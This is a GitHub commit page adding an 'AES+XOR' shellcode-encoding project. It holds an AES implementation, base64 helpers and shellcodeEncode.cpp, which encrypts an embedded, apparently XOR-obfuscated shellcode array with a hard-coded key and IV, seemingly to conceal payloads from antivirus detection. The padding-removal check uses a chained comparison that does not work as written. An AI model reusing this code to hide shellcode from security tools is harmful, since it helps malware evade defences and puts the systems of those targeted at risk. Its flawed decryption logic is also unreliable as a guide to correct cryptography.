Skip to content

Commit 7b1f007

Browse files
authored
Add files via upload
1 parent 6d6ba6c commit 7b1f007

18 files changed

+2536
-0
lines changed

AES+XOR/README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
![image-20230328145325042](https://s2.loli.net/2023/03/28/nTAUlyar5sV1Pgc.png)

AES+XOR/aes.cpp

+1,131
Large diffs are not rendered by default.

AES+XOR/aes.h

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
//AES.h
2+
3+
#ifndef _AES_H
4+
#define _AES_H
5+
#include <exception>
6+
#include <cstring>
7+
#include <string>
8+
#define BLOCK_SIZE 16
9+
using namespace std;
10+
11+
class AES
12+
{
13+
public:
14+
enum
15+
{
16+
ECB = 0, CBC = 1, CFB = 2
17+
};
18+
19+
private:
20+
enum
21+
{
22+
DEFAULT_BLOCK_SIZE = 16
23+
};
24+
enum
25+
{
26+
MAX_BLOCK_SIZE = 32, MAX_ROUNDS = 14, MAX_KC = 8, MAX_BC = 8
27+
};
28+
public:
29+
AES();
30+
virtual ~AES();
31+
private:
32+
//Key Initialization Flag
33+
bool m_bKeyInit;
34+
//Encryption (m_Ke) round key
35+
int m_Ke[MAX_ROUNDS + 1][MAX_BC];
36+
//Decryption (m_Kd) round key
37+
int m_Kd[MAX_ROUNDS + 1][MAX_BC];
38+
//Key Length
39+
int m_keylength;
40+
//Block Size
41+
int m_blockSize;
42+
//Number of Rounds
43+
int m_iROUNDS;
44+
//Chain Block
45+
char m_chain0[MAX_BLOCK_SIZE];
46+
char m_chain[MAX_BLOCK_SIZE];
47+
//Auxiliary private use buffers
48+
int tk[MAX_KC];
49+
int a[MAX_BC];
50+
int t[MAX_BC];
51+
private:
52+
void Xor(char* buff, char const* chain);
53+
void DefEncryptBlock(char const* in, char* result);
54+
void DefDecryptBlock(char const* in, char* result);
55+
void EncryptBlock(char const* in, char* result);
56+
void DecryptBlock(char const* in, char* result);
57+
public:
58+
void MakeKey(char const* key, char const* chain, int keylength =
59+
DEFAULT_BLOCK_SIZE, int blockSize = DEFAULT_BLOCK_SIZE);
60+
void Encrypt(char const* in, char* result, size_t n, int iMode = ECB);
61+
void Decrypt(char const* in, char* result, size_t n, int iMode = ECB);
62+
};
63+
64+
#endif // __RIJNDAEL_H__

AES+XOR/base64.cpp

+96
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
#include "base64.h"
2+
#include <iostream>
3+
#include <ctype.h>
4+
static const std::string base64_chars =
5+
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
6+
"abcdefghijklmnopqrstuvwxyz"
7+
"0123456789+/";
8+
9+
10+
static inline bool is_base64(unsigned char c) {
11+
return (isalnum(c) || (c == '+') || (c == '/'));
12+
}
13+
14+
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
15+
std::string ret;
16+
int i = 0;
17+
int j = 0;
18+
unsigned char char_array_3[3];
19+
unsigned char char_array_4[4];
20+
21+
while (in_len--) {
22+
char_array_3[i++] = *(bytes_to_encode++);
23+
if (i == 3) {
24+
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
25+
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
26+
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
27+
char_array_4[3] = char_array_3[2] & 0x3f;
28+
29+
for (i = 0; (i < 4); i++)
30+
ret += base64_chars[char_array_4[i]];
31+
i = 0;
32+
}
33+
}
34+
35+
if (i)
36+
{
37+
for (j = i; j < 3; j++)
38+
char_array_3[j] = '\0';
39+
40+
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
41+
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
42+
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
43+
char_array_4[3] = char_array_3[2] & 0x3f;
44+
45+
for (j = 0; (j < i + 1); j++)
46+
ret += base64_chars[char_array_4[j]];
47+
48+
while ((i++ < 3))
49+
ret += '=';
50+
51+
}
52+
53+
return ret;
54+
55+
}
56+
57+
std::string base64_decode(std::string const& encoded_string) {
58+
int in_len = encoded_string.size();
59+
int i = 0;
60+
int j = 0;
61+
int in_ = 0;
62+
unsigned char char_array_4[4], char_array_3[3];
63+
std::string ret;
64+
65+
while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
66+
char_array_4[i++] = encoded_string[in_]; in_++;
67+
if (i == 4) {
68+
for (i = 0; i < 4; i++)
69+
char_array_4[i] = base64_chars.find(char_array_4[i]);
70+
71+
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
72+
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
73+
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
74+
75+
for (i = 0; (i < 3); i++)
76+
ret += char_array_3[i];
77+
i = 0;
78+
}
79+
}
80+
81+
if (i) {
82+
for (j = i; j < 4; j++)
83+
char_array_4[j] = 0;
84+
85+
for (j = 0; j < 4; j++)
86+
char_array_4[j] = base64_chars.find(char_array_4[j]);
87+
88+
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
89+
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
90+
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
91+
92+
for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
93+
}
94+
95+
return ret;
96+
}

AES+XOR/base64.h

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#ifndef BASE_64_H
2+
#define BASE_64_H
3+
#include <string>
4+
std::string base64_encode(unsigned char const*, unsigned int len);
5+
std::string base64_decode(std::string const& s);
6+
#endif

AES+XOR/shellcodeEncode.cpp

+102
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
#include <iostream>
2+
#include "AES.h"
3+
#include "Base64.h"
4+
using namespace std;
5+
#pragma warning(disable:4996)
6+
7+
const char g_key[17] = "aswswetyhjuytrfd";
8+
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
9+
string EncryptionAES(const string& strSrc) //AES加密
10+
{
11+
size_t length = strSrc.length();
12+
int block_num = length / BLOCK_SIZE + 1;
13+
//明文
14+
char* szDataIn = new char[block_num * BLOCK_SIZE + 1];
15+
memset(szDataIn, 0x00, block_num * BLOCK_SIZE + 1);
16+
strcpy(szDataIn, strSrc.c_str());
17+
18+
//进行PKCS7Padding填充。
19+
int k = length % BLOCK_SIZE;
20+
int j = length / BLOCK_SIZE;
21+
int padding = BLOCK_SIZE - k;
22+
for (int i = 0; i < padding; i++)
23+
{
24+
szDataIn[j * BLOCK_SIZE + k + i] = padding;
25+
}
26+
szDataIn[block_num * BLOCK_SIZE] = '\0';
27+
28+
//加密后的密文
29+
char* szDataOut = new char[block_num * BLOCK_SIZE + 1];
30+
memset(szDataOut, 0, block_num * BLOCK_SIZE + 1);
31+
32+
//进行进行AES的CBC模式加密
33+
AES aes;
34+
aes.MakeKey(g_key, g_iv, 16, 16);
35+
aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);
36+
string str = base64_encode((unsigned char*)szDataOut,
37+
block_num * BLOCK_SIZE);
38+
delete[] szDataIn;
39+
delete[] szDataOut;
40+
return str;
41+
}
42+
string DecryptionAES(const string& strSrc) //AES解密
43+
{
44+
string strData = base64_decode(strSrc);
45+
size_t length = strData.length();
46+
//密文
47+
char* szDataIn = new char[length + 1];
48+
memcpy(szDataIn, strData.c_str(), length + 1);
49+
//明文
50+
char* szDataOut = new char[length + 1];
51+
memcpy(szDataOut, strData.c_str(), length + 1);
52+
53+
//进行AES的CBC模式解密
54+
AES aes;
55+
aes.MakeKey(g_key, g_iv, 16, 16);
56+
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
57+
58+
//去PKCS7Padding填充
59+
if (0x00 < szDataOut[length - 1] <= 0x16)
60+
{
61+
int tmp = szDataOut[length - 1];
62+
for (int i = length - 1; i >= length - tmp; i--)
63+
{
64+
if (szDataOut[i] != tmp)
65+
{
66+
memset(szDataOut, 0, length);
67+
cout << "去填充失败!解密出错!!" << endl;
68+
break;
69+
}
70+
else
71+
szDataOut[i] = 0;
72+
}
73+
}
74+
string strDest(szDataOut);
75+
delete[] szDataIn;
76+
delete[] szDataOut;
77+
return strDest;
78+
}
79+
80+
81+
//int main(int argc, char** argv)
82+
//{
83+
// unsigned char payload[] = { 0x8f, 0x27, 0xf7, 0x8c, 0x99, 0x9b, 0xa9, 0x73, 0x74, 0x65, 0x32, 0x25, 0x32, 0x3f, 0x26, 0x39, 0x3f, 0x3b, 0x58, 0xa1, 0x11, 0x2d, 0xf8, 0x26, 0x13, 0x27, 0xff, 0x3a, 0x71, 0x3b, 0xe2, 0x21, 0x54, 0x2d, 0xf8, 0x6, 0x23, 0x27, 0x7b, 0xdf, 0x23, 0x39, 0x24, 0x42, 0xbd, 0x2d, 0x42, 0xb4, 0xdf, 0x53, 0x15, 0x14, 0x6b, 0x5f, 0x49, 0x32, 0xb5, 0xac, 0x7e, 0x35, 0x72, 0xae, 0x96, 0x85, 0x3b, 0x32, 0x38, 0x3b, 0xff, 0x37, 0x53, 0xff, 0x31, 0x53, 0x3c, 0x69, 0xb9, 0xf8, 0xe9, 0xfb, 0x74, 0x65, 0x73, 0x3c, 0xf6, 0xaf, 0x0, 0xf, 0x21, 0x72, 0xb9, 0x23, 0xff, 0x2d, 0x6b, 0x30, 0xf8, 0x2f, 0x54, 0x21, 0x68, 0xa3, 0x8a, 0x25, 0x3c, 0x9a, 0xba, 0x35, 0xf8, 0x5b, 0xfc, 0x20, 0x68, 0xa5, 0x24, 0x42, 0xbd, 0x2d, 0x42, 0xb4, 0xdf, 0x2e, 0xb5, 0xa1, 0x64, 0x32, 0x68, 0xb2, 0x4c, 0x85, 0x6, 0x85, 0x3f, 0x6c, 0x38, 0x4c, 0x61, 0x36, 0x50, 0xa2, 0x1, 0xbd, 0x2b, 0x30, 0xf8, 0x2f, 0x50, 0x21, 0x68, 0xa3, 0xf, 0x32, 0xff, 0x69, 0x3b, 0x30, 0xf8, 0x2f, 0x68, 0x21, 0x68, 0xa3, 0x28, 0xf8, 0x70, 0xed, 0x3b, 0x75, 0xa3, 0x2e, 0x2c, 0x29, 0x31, 0x2d, 0x30, 0x29, 0x35, 0x3d, 0x32, 0x2d, 0x32, 0x35, 0x3c, 0xeb, 0x85, 0x53, 0x28, 0x21, 0x8b, 0x85, 0x2b, 0x35, 0x2a, 0x35, 0x3c, 0xe3, 0x7b, 0x9a, 0x3e, 0x8c, 0x8b, 0x9a, 0x2e, 0x3c, 0xc9, 0x6e, 0x74, 0x68, 0x69, 0x73, 0x69, 0x73, 0x74, 0x2d, 0xfe, 0xf9, 0x72, 0x6e, 0x74, 0x68, 0x28, 0xc9, 0x58, 0xf8, 0x1b, 0xe2, 0x8c, 0xa1, 0xc8, 0x9f, 0xc1, 0xca, 0x3f, 0x32, 0xd3, 0xd5, 0xe1, 0xd8, 0xee, 0x8b, 0xa6, 0x27, 0xf7, 0xac, 0x41, 0x4f, 0x6f, 0xf, 0x7e, 0xe5, 0x88, 0x94, 0x6, 0x6a, 0xcf, 0x2f, 0x7a, 0x1, 0x6, 0x19, 0x74, 0x3c, 0x32, 0xfd, 0xa9, 0x90, 0xa1, 0xb, 0x8, 0x1f, 0xa, 0x5d, 0x11, 0x1d, 0x16, 0x74 };
84+
//
85+
// //damn sizeof maybe cut my payload
86+
// size_t lenn = 0;
87+
// for (auto i : payload) {
88+
// lenn++;
89+
// }
90+
// string encodeStr;
91+
// for (int i = 0; i < lenn; i++) {
92+
// encodeStr += to_string(payload[i]) + ',';
93+
// }
94+
// cout << "加密前:" << encodeStr << endl;
95+
// string str2 = EncryptionAES(encodeStr);
96+
// cout << endl;
97+
// cout << "加密后:" << str2 << endl;
98+
// string str3 = DecryptionAES(str2);
99+
// cout << endl;
100+
// cout << "解密后:" << str3 << endl;
101+
//}
102+

0 commit comments

Comments
 (0)